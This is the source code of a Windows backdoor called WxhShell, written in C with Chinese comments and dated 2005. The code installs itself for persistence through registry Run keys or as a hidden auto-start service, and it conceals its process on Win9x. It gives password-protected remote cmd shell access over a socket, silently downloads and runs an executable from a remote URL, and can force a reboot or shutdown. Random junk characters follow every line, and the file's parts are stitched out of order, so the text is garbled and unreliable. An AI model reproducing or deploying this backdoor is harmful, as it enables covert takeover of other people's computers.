    if(Boot(SHUTDOWN)) ;YQ6X>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yu&\a?]\2  
    else { FU}- .Ki  
    closesocket(wsh); L7(.dO0C  
    ExitThread(0); d@cyQFX  
    } 3)&rj 7  
    break; p((.(fx  
    } P??pWzb6HH  
  // 获取shell ?H!&4o  
  case 's': { $1)NYsSH/H  
    CmdShell(wsh); Sqmjf@o$>  
    closesocket(wsh); Y%]g,mG  
    ExitThread(0); 6~s{HI!  
    break; c(?OE' "Z  
  } 7|"G 3ck  
  // 退出 aa!1w93?i  
  case 'x': { b^8"EBo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _Bn8i(  
    CloseIt(wsh); A"+t[0$.  
    break; 436SIh  
    } #vBSg  
  // 离开 R5uz<  
  case 'q': { [ CU8%%7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1_}k)(n  
    closesocket(wsh); ih:%U  
    WSACleanup(); cx)x="c  
    exit(1); J[K>)@I/  
    break; _A]~`/0;`  
        } #LwDs,J:  
  } &w%%^ +n |  
  } Pm24;'  
rHjR 4q  
  // 提示信息 b%X}{/n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }_Sgor83n  
} ?PB}2*R  
  } ;Oqbfl#%  
1 EV0Y]T1  
  return; ROfke.N\'  
} 3i}$ ~rz]U  
_1$+S0G;  
// shell模块句柄 'xM\txZ;  
int CmdShell(SOCKET sock) f%YD+Dt_V  
{ <lPHeO<^]  
STARTUPINFO si; xxdxRy9/  
ZeroMemory(&si,sizeof(si)); WPu%{/ [  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uk.x1*0x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oX/#Mct{s  
PROCESS_INFORMATION ProcessInfo; Qcs0w(  
char cmdline[]="cmd"; )7rMevF(xJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KiNluGNt  
  return 0; :Sk<0VVd7  
} bqR0./V  
ue}lAW{q  
// 自身启动模式 X^ 0jS  
int StartFromService(void) L w/ZKXDU2  
{ A)^A2xZQ  
typedef struct R&}{_1dj8  
{ pQ+4++7ID  
  DWORD ExitStatus; hN:2(x  
  DWORD PebBaseAddress; X@B,w_b  
  DWORD AffinityMask; Zxv{qbF  
  DWORD BasePriority; ;|K(6)  
  ULONG UniqueProcessId; 0`e- ;  
  ULONG InheritedFromUniqueProcessId; kI$X~s$r  
}   PROCESS_BASIC_INFORMATION; \3z^/F~  
:cTwp K  
PROCNTQSIP NtQueryInformationProcess; Dr"F5Wbg  
en gh3TZC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3^AS8%qG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z#| tl/aP9  
nr{ }yQ u  
  HANDLE             hProcess; O7I|<H/gVE  
  PROCESS_BASIC_INFORMATION pbi; r|7hm:F)  
3gmu-t v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ps?B;P  
  if(NULL == hInst ) return 0; .gHL(*1P  
;0\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D&&11Iz&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )8Sm}aC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5fa_L'L#  
{R. @EFkZ  
  if (!NtQueryInformationProcess) return 0; "PPn^{bYm  
E)l@uPA'1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nbz?D_  
  if(!hProcess) return 0; NvlG@^&S  
 !.k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y3C$%yv0  
V?Zvu9b&  
  CloseHandle(hProcess); Eq/%k $6#1  
G;pxB,4s5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $X;fz)u  
if(hProcess==NULL) return 0; X<"W@  
1Q$Z'E}SK@  
HMODULE hMod; ;zvg]  %  
char procName[255]; =Wk!mGc  
unsigned long cbNeeded; u7<s_M3%N  
+#y[sKa  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E>?T<!r~j  
Tp/+{|~  
  CloseHandle(hProcess); v0}.!u>Ww  
r@(hRl1k'  
if(strstr(procName,"services")) return 1; // 以服务启动 n.Q?@\}2  
w_i$/`i+  
  return 0; // 注册表启动 H\<C@OkJS}  
} cB7=4:U  
'rdg  
// 主模块 Nl1v*9_x  
int StartWxhshell(LPSTR lpCmdLine) Jk7[}Jc$  
{ fXYg %  
  SOCKET wsl; <%Re!y@OL  
BOOL val=TRUE; yeNC-U<  
  int port=0; 5ff66CRw  
  struct sockaddr_in door; # 1,(I  
a4! AvG  
  if(wscfg.ws_autoins) Install(); iwfv t^  
b-+iL  
port=atoi(lpCmdLine); `+QrgtcEy4  
Ip4SdbU  
if(port<=0) port=wscfg.ws_port; PF- sb&q  
;wz YZ5=Di  
  WSADATA data; CxtH?9# |  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A{hWFSv  
N|h}'p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3u8HF-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =GjxqIv  
  door.sin_family = AF_INET; #.%;U' #O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c>r0 N[  
  door.sin_port = htons(port); #f@sq5pTO  
R '/Ilz`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kf$0}T`  
closesocket(wsl); M(S:&GOU  
return 1; [ua{qJ9  
} !T|X/B R  
C=AX{sn  
  if(listen(wsl,2) == INVALID_SOCKET) { i3>7R'q>  
closesocket(wsl); !UlG! 820  
return 1; SVaC)O(  
} w.Ft-RXA W  
  Wxhshell(wsl); ?E2/ CM  
  WSACleanup(); dGcG7*EX  
B}YB%P_CWs  
return 0; >t O(S  
h4S,(*V$!  
} X%S?o  
zrG&p Z  
// 以NT服务方式启动 {v56k8uZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N/mTG2'<  
{ C jsy1gA  
DWORD   status = 0; O%y.  
  DWORD   specificError = 0xfffffff; $ T.c>13  
9#.nNv*z3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a%sr*`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ED @9,W0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Dw?nf  
  serviceStatus.dwWin32ExitCode     = 0; z6b!,lp  
  serviceStatus.dwServiceSpecificExitCode = 0; N%:QaCZKw  
  serviceStatus.dwCheckPoint       = 0; Ylll4w62N  
  serviceStatus.dwWaitHint       = 0; BYrj#n5  
y}5H<ZcXA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y+sycdq  
  if (hServiceStatusHandle==0) return; c63DuHA*C  
Y|g8xkI}XB  
status = GetLastError(); '$PiyM|V  
  if (status!=NO_ERROR) Qhsh{muw(  
{ Edc<  8-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  J O`S  
    serviceStatus.dwCheckPoint       = 0; Lt.a@\J'_  
    serviceStatus.dwWaitHint       = 0; NI \jGR.  
    serviceStatus.dwWin32ExitCode     = status; 6fQNF22E  
    serviceStatus.dwServiceSpecificExitCode = specificError; @]t}bF]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;zIAh[z  
    return; u)M dFz  
  } NB;8 e>8  
=M)+O%`*6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u!];RHOp|  
  serviceStatus.dwCheckPoint       = 0; |#Bz&T  
  serviceStatus.dwWaitHint       = 0; G@ XKE17  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _K3?0<=4  
} S v$%-x^t  
*f=H#  
// 处理NT服务事件,比如:启动、停止 1j "/}0fx  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I1S*=^Z_U  
{ DDyeN uK  
switch(fdwControl) V.6h6B!vB  
{ \vXo~_-&  
case SERVICE_CONTROL_STOP: {A2(a7vV  
  serviceStatus.dwWin32ExitCode = 0; 8TZNvN4u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _<|NVweFS  
  serviceStatus.dwCheckPoint   = 0; 0{j] p^'<  
  serviceStatus.dwWaitHint     = 0; /\hybx'  
  { r*fZS$e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q}2aBU.f  
  } %Iw6oG  
  return; <<W{nSm#  
case SERVICE_CONTROL_PAUSE: T$)&8"Xya  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +Fp8cT=1  
  break; Fx*iAH\e  
case SERVICE_CONTROL_CONTINUE: d:.S]OI0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x}$SB%9/  
  break; Ly0^ L-~|  
case SERVICE_CONTROL_INTERROGATE: j]#qq]c  
  break; 'z8?_{$   
}; w xKlBx7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jw)Uk< \  
} ~oy =2Q<Z  
d`q<!qFZh  
// 标准应用程序主函数 //n$#c _}u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) HKbyi~8N=  
{ _8Cw_  
sa$CCQ  
// 获取操作系统版本 9AO`Zk{/Ez  
OsIsNt=GetOsVer(); SK t&]H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DJvmwFx  
]1h W/!  
  // 从命令行安装 "`qmeZ$rg  
  if(strpbrk(lpCmdLine,"iI")) Install(); uT:'Kkb!  
>M=_:52.+  
  // 下载执行文件 PTrKnuM\J_  
if(wscfg.ws_downexe) { <fg~+{PA&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +e}v) N  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7yM=$"'d  
} ~(OG3`W!  
{Z0(V"Q  
if(!OsIsNt) { Y S/x;  
// 如果时win9x,隐藏进程并且设置为注册表启动 jD1/`g%  
HideProc(); ;c p*]  
StartWxhshell(lpCmdLine); 'c7C*6;a  
} f 1s3pr??  
else #@FMH*?xX6  
  if(StartFromService()) m:&go2Y  
  // 以服务方式启动 h|qTMwPr  
  StartServiceCtrlDispatcher(DispatchTable); R8|H*5T?+  
else M#%l}  
  // 普通方式启动 OSreS5bg  
  StartWxhshell(lpCmdLine);  @oE^(  
D1hy:KkAv]  
return 0; .8Eh[yiln  
} 3,`I\>No  
vZMb/}-o  
;Z^\$v9?  
3-x ;_  
=========================================== *\Z9=8yK  
s^f7w  
K#Ia19au5  
yp}J+/PX}  
QS7<7+  
w5fVug/;P  
" #uTNf78X  
_L?MYkD  
#include <stdio.h> (D2G.R\pr  
#include <string.h> S$#"bK/p^  
#include <windows.h> t5O '7x  
#include <winsock2.h> ?APzb4f^W  
#include <winsvc.h> slUnB6@Q  
#include <urlmon.h> 6z`l}<q  
^m0nInH  
#pragma comment (lib, "Ws2_32.lib") `CpfQP&^  
#pragma comment (lib, "urlmon.lib") |wbXu:  
Kk.a9uKI}  
#define MAX_USER   100 // 最大客户端连接数 Wo)$*?  
#define BUF_SOCK   200 // sock buffer Qa`+-W u8  
#define KEY_BUFF   255 // 输入 buffer 0'wchy>  
 +_E^E  
#define REBOOT     0   // 重启 ^!&6z4DP  
#define SHUTDOWN   1   // 关机 3CL1Z\8To  
XLHi  
#define DEF_PORT   5000 // 监听端口 Hk&op P9)  
^wass_8  
#define REG_LEN     16   // 注册表键长度 qwhDv+o  
#define SVC_LEN     80   // NT服务名长度 >EE}P|=-  
M./1.k&@  
// 从dll定义API /{6&99SJcc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &t)$5\r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z }3` 9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t@X{qm:%Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8'WoG]E_  
r+=%Ag  
// wxhshell配置信息 9'5<b  
struct WSCFG { 79&=MTM  
  int ws_port;         // 监听端口 C#qF&n  
  char ws_passstr[REG_LEN]; // 口令 i.Rxx, *?  
  int ws_autoins;       // 安装标记, 1=yes 0=no pyUzHF0  
  char ws_regname[REG_LEN]; // 注册表键名 Fs$mLa  
  char ws_svcname[REG_LEN]; // 服务名 *@;bWUJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SfSWjq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #,[z}fq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m@Hg:DY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O0l1AX"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xig4H7V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f;D(X/"f]  
@\U;?N~k  
}; HIGTo\]Z  
8u%rh[g'  
// default Wxhshell configuration QLxe1[qI  
struct WSCFG wscfg={DEF_PORT, D :)HK D.  
    "xuhuanlingzhe", FPb4VJ|xm  
    1, lvOM1I  
    "Wxhshell",  "tT68  
    "Wxhshell", cqYMzS t  
            "WxhShell Service", ^O.` P  
    "Wrsky Windows CmdShell Service", 4Sz2 9\X  
    "Please Input Your Password: ", /9b+I/xY"  
  1, n  +v(t  
  "http://www.wrsky.com/wxhshell.exe", |zbM$37 ?k  
  "Wxhshell.exe" !L[$t~z  
    }; 8B?*?,n5  
%45*DT  
// 消息定义模块 %E8HLTEvl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~@#s<a,%;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ffW-R)U|3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l&|Tb8_'  
char *msg_ws_ext="\n\rExit."; bg\9Lbjr  
char *msg_ws_end="\n\rQuit."; ,UYe OM2Ao  
char *msg_ws_boot="\n\rReboot..."; h[bC#(  
char *msg_ws_poff="\n\rShutdown..."; 3mQ3mV:  
char *msg_ws_down="\n\rSave to "; '7<^x>D|  
M1z ?E@kz  
char *msg_ws_err="\n\rErr!"; <<DPer2  
char *msg_ws_ok="\n\rOK!"; r}:D g fn  
P^aNAa  
char ExeFile[MAX_PATH]; j ];#=+  
int nUser = 0; EG8%X"p  
HANDLE handles[MAX_USER]; ZU$QwI8  
int OsIsNt; ep6V2R  
!eHQe7_  
SERVICE_STATUS       serviceStatus; 5d;(D i5z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; L)i6UAo  
B='(0Uxy-  
// 函数声明 }S"qU]>8a  
int Install(void); hbe";(  
int Uninstall(void); W K(GR\@  
int DownloadFile(char *sURL, SOCKET wsh); 00LL&ot  
int Boot(int flag); tUksIUYD\  
void HideProc(void); Cp?6vu|RA  
int GetOsVer(void); "#:h#uRUb  
int Wxhshell(SOCKET wsl); ~tLvD[n[  
void TalkWithClient(void *cs); u+9)B 6O1  
int CmdShell(SOCKET sock); 6<%b}q9Mo  
int StartFromService(void); ~Qd|.T  
int StartWxhshell(LPSTR lpCmdLine); au E8 ^|  
QYj*|p^x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y .E.(\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]DUmp6  
y1h3Ch>Y  
// 数据结构和表定义 g)ofAG2  
SERVICE_TABLE_ENTRY DispatchTable[] = e<{waJ1  
{ aA -j  
{wscfg.ws_svcname, NTServiceMain}, KBoW(OP4'  
{NULL, NULL} =)#<u9 qqL  
}; Z6zLL   
[x%8l,O #l  
// 自我安装 eNK6=D|  
int Install(void) \maj5VlJ  
{ x6Tpt^N}  
  char svExeFile[MAX_PATH]; 2uT@jfj:r  
  HKEY key; 9e7):ZupO  
  strcpy(svExeFile,ExeFile); 8ly Ng w1  
B~E>=85z  
// 如果是win9x系统,修改注册表设为自启动 NxzAlu  
if(!OsIsNt) { 24po}nrO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sDvy(5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _PLZ_c:O  
  RegCloseKey(key); e< G[!m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =eR#]d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .zy2_3:  
  RegCloseKey(key); f[*g8p  
  return 0; vl!o^_70(  
    } cR&d=+R&  
  } 5Z(q|nn7P  
} >CqZ75>  
else { u= Ga}  
NA YwuE-`  
// 如果是NT以上系统,安装为系统服务 >_#A*B|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]D^zTl3=q  
if (schSCManager!=0) ^U^K\rq 1u  
{ e +jp,>(v  
  SC_HANDLE schService = CreateService RDeI l&  
  ( Z1h6Y>j  
  schSCManager, -^*8D(j*  
  wscfg.ws_svcname, ]vuxeu[cu,  
  wscfg.ws_svcdisp, Gx|/ Jq  
  SERVICE_ALL_ACCESS, UZL-mF:)&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vos-[$  
  SERVICE_AUTO_START, w uhL r(  
  SERVICE_ERROR_NORMAL, cef:>>6_  
  svExeFile, w[uw hd  
  NULL, CHdYY7\{  
  NULL, =T$2Qo8  
  NULL, EkOn Rm_hn  
  NULL, m[w~h\FS  
  NULL .4!wp&  
  ); 618bbftx{  
  if (schService!=0) ^J@ Xsl  
  { r2&/Ii+  
  CloseServiceHandle(schService); 0 d2to5 (  
  CloseServiceHandle(schSCManager); S+pm@~xe  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZO\bCrk  
  strcat(svExeFile,wscfg.ws_svcname); ^Uldyv/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^.[+)0I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K14{c1  
  RegCloseKey(key); ab5i7@Ed  
  return 0; UvGX+M,z'  
    } 2!a~YT  
  } U6M&7 l8  
  CloseServiceHandle(schSCManager); (k %0|%eR  
} 0[s<!k9=  
} Csm23QLsg)  
SU4~x0  
return 1; K st2.Yy  
} a@-!,Hi  
jE$]Z(Ab  
// 自我卸载 (P nrY~9  
int Uninstall(void) Rx4O?7;  
{ KkZo|\V  
  HKEY key; )eWg2w]  
cs)z!  
if(!OsIsNt) { ;4(FS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1L.yh U\  
  RegDeleteValue(key,wscfg.ws_regname); Il#9t?/  
  RegCloseKey(key); h!1CsLd[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nIqmora  
  RegDeleteValue(key,wscfg.ws_regname); v&u8Ks  
  RegCloseKey(key); o n?8l?iQ  
  return 0; FuO'%3;c  
  } 0bG2YMs  
} 2aGK}sS6  
} M{~KT3c  
else { [3hOc/]s  
,9ZN k@q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); " ZFK-jn/  
if (schSCManager!=0) z,=k F I  
{ }5Pzen  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U*Pi%J  
  if (schService!=0) Uzd\#edxJ  
  { u:&Lf  
  if(DeleteService(schService)!=0) { n>I NJ  
  CloseServiceHandle(schService); i^DZK&B@u  
  CloseServiceHandle(schSCManager); S%m$LM]NCg  
  return 0; `}f wR  
  } mGqT_   
  CloseServiceHandle(schService); giz#(61j^  
  } p/inATH  
  CloseServiceHandle(schSCManager); _8"%nV  
} =`6_{<&  
} y2 ,M9  
)F) (Hg  
return 1; S-k:+4  
} 5m&Zq_Qe  
[.NG~ cpb  
// 从指定url下载文件 *R6Ed  
int DownloadFile(char *sURL, SOCKET wsh) (-U6woB6o  
{ Th)Z?\8zk  
  HRESULT hr; 0? QTi(  
char seps[]= "/"; 6S# e?>"+  
char *token; -(]s!,  
char *file; 3R sbi  
char myURL[MAX_PATH]; 3@/\j^U  
char myFILE[MAX_PATH]; nuip  
X) peY  
strcpy(myURL,sURL); :v!e8kM\x  
  token=strtok(myURL,seps); /!mF,oR!  
  while(token!=NULL) [_h/Dh C:+  
  { ?W(>Yefk  
    file=token; |8m;}&r$  
  token=strtok(NULL,seps); MIJ^ n(-G  
  } O+^l>+ZGj?  
plRBfw>]N  
GetCurrentDirectory(MAX_PATH,myFILE); *Jy'3o  
strcat(myFILE, "\\"); /RzL,~]  
strcat(myFILE, file); $R2iSu{kO  
  send(wsh,myFILE,strlen(myFILE),0); _Fz]QxO  
send(wsh,"...",3,0); l$~3_3+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); aI l}|n"  
  if(hr==S_OK) *|T]('xwC  
return 0; M;\iL?,  
else N%k6*FBp~  
return 1; 1webk;IM  
%&RF;qa2xu  
} '518S"T @  
oK5"RW  
// 系统电源模块 ,u1Yn}  
int Boot(int flag) 1'[RrJ$Q  
{ .m&JRzzV  
  HANDLE hToken; wMB. p2  
  TOKEN_PRIVILEGES tkp; [!ghI%VK  
ok"v`76~f5  
  if(OsIsNt) { 3$u 3ssOL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z-fQ{&a{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pu:Ie#xTDf  
    tkp.PrivilegeCount = 1; ,F,\bp}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -_bnGY%,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (}W+W\.  
if(flag==REBOOT) { b1(7<o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s[ ze8:  
  return 0; "B~c/%#PH  
} OD*\<Sc  
else { eD4qh4|u.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -bN;nSgb  
  return 0; N%hV+># Z  
} ''{REFjK7  
  } A{[joo  
  else { 3C,G~)= x  
if(flag==REBOOT) { #Sxk[[KwH*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cjf 8N:4N0  
  return 0; i'w8Li  
} .^aakM  
else { MM}lW-q;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *&f^R}O  
  return 0; yqaLqZ$  
} lEcZ/  
} 3@qy}Nm  
S'Hb5C2u  
return 1; Gb=pQ (n4  
} KT3W>/#E  
q#{.8H-X'  
// win9x进程隐藏模块 VH.m H<  
void HideProc(void) ?ztI8 I/  
{ WR&>AOWAD  
WrA!'I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :~I^ni  
  if ( hKernel != NULL ) @/MI Oxg[  
  { .!fhy[%o:D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~  4v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Mnu8d:$  
    FreeLibrary(hKernel); eb6Ux  
  } ~4 ~c+^PF  
|fL|tkGEa  
return; wzXIEWJ  
} z\d{A7  
*oby(D"p  
// 获取操作系统版本 o1kTB&E4B  
int GetOsVer(void) '|I8byiK  
{ [@VM'@e7  
  OSVERSIONINFO winfo; ^(j}'p,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X#ZQpo'h  
  GetVersionEx(&winfo); 8t1XZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F@]9 oF  
  return 1; &$$o=Yg,  
  else GI se|[p  
  return 0; Bi.,@7|>  
} j8cIpbp8x  
^n|yfvR  
// 客户端句柄模块 3X;k c>  
int Wxhshell(SOCKET wsl)  !^yH]v  
{ 0N|l1Sn  
  SOCKET wsh; LD=eMk: ~  
  struct sockaddr_in client; 5NR@<FE  
  DWORD myID; H[S}&l\D4  
,QeJ;U  
  while(nUser<MAX_USER) -> ^Ex`  
{ URd0|?t9^L  
  int nSize=sizeof(client); H;h$k]T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oe'f?IY  
  if(wsh==INVALID_SOCKET) return 1; %,1xOl4l  
NihUCj"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {\WRW}iO  
if(handles[nUser]==0) 2;wp D2  
  closesocket(wsh); >1}@Q(n/}{  
else o2 ;  
  nUser++; C`@gsF"<7  
  } 9\zasa  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &E]<dmR  
;u8a%h!  
  return 0; S-f .NC}:i  
} V&h{a8xa$  
E/3i _R  
// 关闭 socket _qxBjB4t"a  
void CloseIt(SOCKET wsh) S8j!?$`  
{ }@y(-7t  
closesocket(wsh); /E39Z*  
nUser--; UkTq0-N;2  
ExitThread(0); Ke;eI+P[  
} @!Z1*a.  
H|IG"JB  
// 客户端请求句柄 b9xvLR8  
void TalkWithClient(void *cs) l(y,lK=YP1  
{ 1K UM!DUD  
V0<g$,W=  
  SOCKET wsh=(SOCKET)cs; [  *~2Ts  
  char pwd[SVC_LEN]; 45,):U5  
  char cmd[KEY_BUFF]; N^M6*,F,J  
char chr[1]; ~Zn|(  
int i,j; 2q(gWhcj  
`fOp>S^Q4  
  while (nUser < MAX_USER) { {b'  
WD_{bd)  
if(wscfg.ws_passstr) { yEos$/*u-N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |~ytAyw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dC;&X g`  
  //ZeroMemory(pwd,KEY_BUFF); ts% n tnvI  
      i=0; I4|"Ztw  
  while(i<SVC_LEN) { C23p1%#1  
Vh1y]#w  
  // 设置超时 C}|.z  
  fd_set FdRead; %{7*o5`  
  struct timeval TimeOut; P3IBi_YyG1  
  FD_ZERO(&FdRead); 6oq5CDoq  
  FD_SET(wsh,&FdRead); gj iFpW4  
  TimeOut.tv_sec=8; ACy}w?D<  
  TimeOut.tv_usec=0; >9mj/P D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mK/E1a)AG3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?lfyC/  
 iDx(qdla  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pN)x,<M)  
  pwd=chr[0]; C4qK52'2s  
  if(chr[0]==0xd || chr[0]==0xa) { spTz}p^\O  
  pwd=0; +'Y?K]zbt  
  break; 5JEOLPS  
  } 5rfDm  
  i++; J[05T1  
    } -L4G)%L\  
HI{h>g T  
  // 如果是非法用户,关闭 socket ~]#-S20  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T*gG <8  
} %t$KVV  
71>,tq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7_P33l8y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {8qcM8  
1Jdx#K  
while(1) { G'u[0>  
mr/?w0(C  
  ZeroMemory(cmd,KEY_BUFF); k6J&4?xZ  
" dGN0i  
      // 自动支持客户端 telnet标准   cWG%>.`5r  
  j=0; mQ<4(qd)  
  while(j<KEY_BUFF) { .p.( \5Fo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xMNQT.A  
  cmd[j]=chr[0]; O9zMD8  
  if(chr[0]==0xa || chr[0]==0xd) { Dn@ZS_f  
  cmd[j]=0; !H@HgJ -  
  break; =+UtA f<n  
  } `"}).{N]C  
  j++; uY(8KW  
    } @87Y/_l  
W!R0:-  
  // 下载文件 :<bhQY  
  if(strstr(cmd,"http://")) { KO7&dM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \b%c_e  
  if(DownloadFile(cmd,wsh)) FNuE-_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); y2#"\5dC  
  else 0;@>jo6,!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `A%WCd60Tc  
  } ']>9 /r#  
  else { z/+{QBen8  
@8>bp#x/1  
